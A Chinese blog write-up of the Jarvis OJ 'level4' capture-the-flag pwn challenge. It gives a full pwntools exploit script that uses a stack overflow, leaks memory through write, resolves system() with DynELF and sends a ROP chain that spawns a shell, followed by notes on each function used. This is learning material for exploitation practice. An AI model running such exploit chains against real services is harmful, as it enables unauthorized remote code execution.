Jarvis Oj Pwn 学习笔记-level4

没有libc?!DynELF了解一下

来,链接:

https://files.cnblogs.com/files/Magpie/level4.rar

nc pwn2.jarvisoj.com 9880

我抽着差不多的烟,又check差不多的sec:

 扔进IDA:

和level3差不多,只是这道题没有提供libc

这道题其实主要就是学一下pwntools的一个工具,没有什么原理上的新东西

扫描二维码关注公众号,回复: 1277395 查看本文章

所以我们直接给出exp,然后讲一下exp就好了:

 1 from pwn import *
 2 context(arch = 'i386', os = 'linux')
 3 r = remote('pwn2.jarvisoj.com', 9880)
 4 e=ELF('./level4')
 5 junk='A'*(0x88+0x04)
 6 read_plt=e.symbols['read']
 7 write_plt=e.symbols['write']
 8 data_bss_addr=e.symbols['__bss_start']
 9 func_reload_addr=e.symbols['vulnerable_function']
10 def leak(address):
11     payload1=junk+p32(write_plt)+p32(func_reload_addr)+p32(0x01)+p32(address)+p32(0x04)
12     r.sendline(payload1)
13     leak_addr=r.recv(4)
14     return leak_addr
15 d=DynELF(leak,elf=e)
16 system_addr=d.lookup('system','libc')
17 payload2=junk+p32(read_plt)+p32(func_reload_addr)+p32(0x00)+p32(data_bss_addr)+p32(0x08)
18 r.sendline(payload2)
19 r.send('/bin/sh\x00')
20 payload3=junk+p32(system_addr)+p32(func_reload_addr)+p32(data_bss_addr)
21 r.send(payload3)
22 r.interactive()

1.ELF函数:创建并返回一个elf文件的内存映射对象

2.symbols函数:可以看作elf对象的一个方法,按关键字搜索地址

3.DynELF函数:核心函数,第一个参数是一个函数指针,指向一个规范内存泄露函数leak;第二个参数(可选)是一个elf对象,有了它可以使效率更高

DynELF函数具析:

通过配合调用leak分析其泄露值以及分析传入的elf对象,可以自动地resolve出所有的函数、数据地址,存储在一个vector向量数组中并返回这个向量数组

4.lookup函数:可看作向量数组对象的一个方法,按传入的索引项,搜索相应项值,得到服务器端的真实system地址

#payload2:劫持到read函数,将命令字符串'/bin/sh'写到bss段以作参数调用的地址

通过这段exp就可以拿到shell了,遗留一个问题:lookup找不到/bin/sh的地址,不知具体是个什么原因。可能上面的说法有一个错误:DynELF函数可能并无法泄露数据的地址。

留待日后填......

猜你喜欢

转载自www.cnblogs.com/Magpie/p/9118366.html